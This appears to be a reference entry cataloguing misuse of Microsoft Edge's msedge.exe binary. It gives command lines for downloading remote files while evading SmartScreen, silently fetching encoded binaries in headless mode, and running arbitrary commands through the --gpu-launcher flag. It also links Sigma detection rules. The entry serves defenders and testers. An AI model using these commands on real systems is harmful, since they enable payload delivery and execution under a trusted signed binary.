Msedge.exe
Microsoft Edge browser
Paths
c:\Program Files\Microsoft\Edge\Application\msedge.exec:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Commands
Download
Edge will launch and download the file. A 'harmless' file extension (e.g. .txt, .zip) should be appended to avoid SmartScreen.
Use case: Download file from the internet
Privileges: User
msedge.exe {REMOTEURL:.exe.txt}
Download
Edge will silently download the file. File extension should be .html and binaries should be encoded.
Use case: Download file from the internet
Privileges: User
msedge.exe --headless --enable-logging --disable-gpu --dump-dom "{REMOTEURL:.base64.html}" > {PATH:.b64}
Execute
Edge spawns cmd.exe as a child process of msedge.exe and executes the specified command
Use case: Executes a process under a trusted Microsoft signed binary
Privileges: User
msedge.exe --disable-gpu-sandbox --gpu-launcher="{CMD} &&"
Detection
- Sigma: https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_browsers_msedge_arbitrary_download.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_browsers_chromium_headless_file_download.yml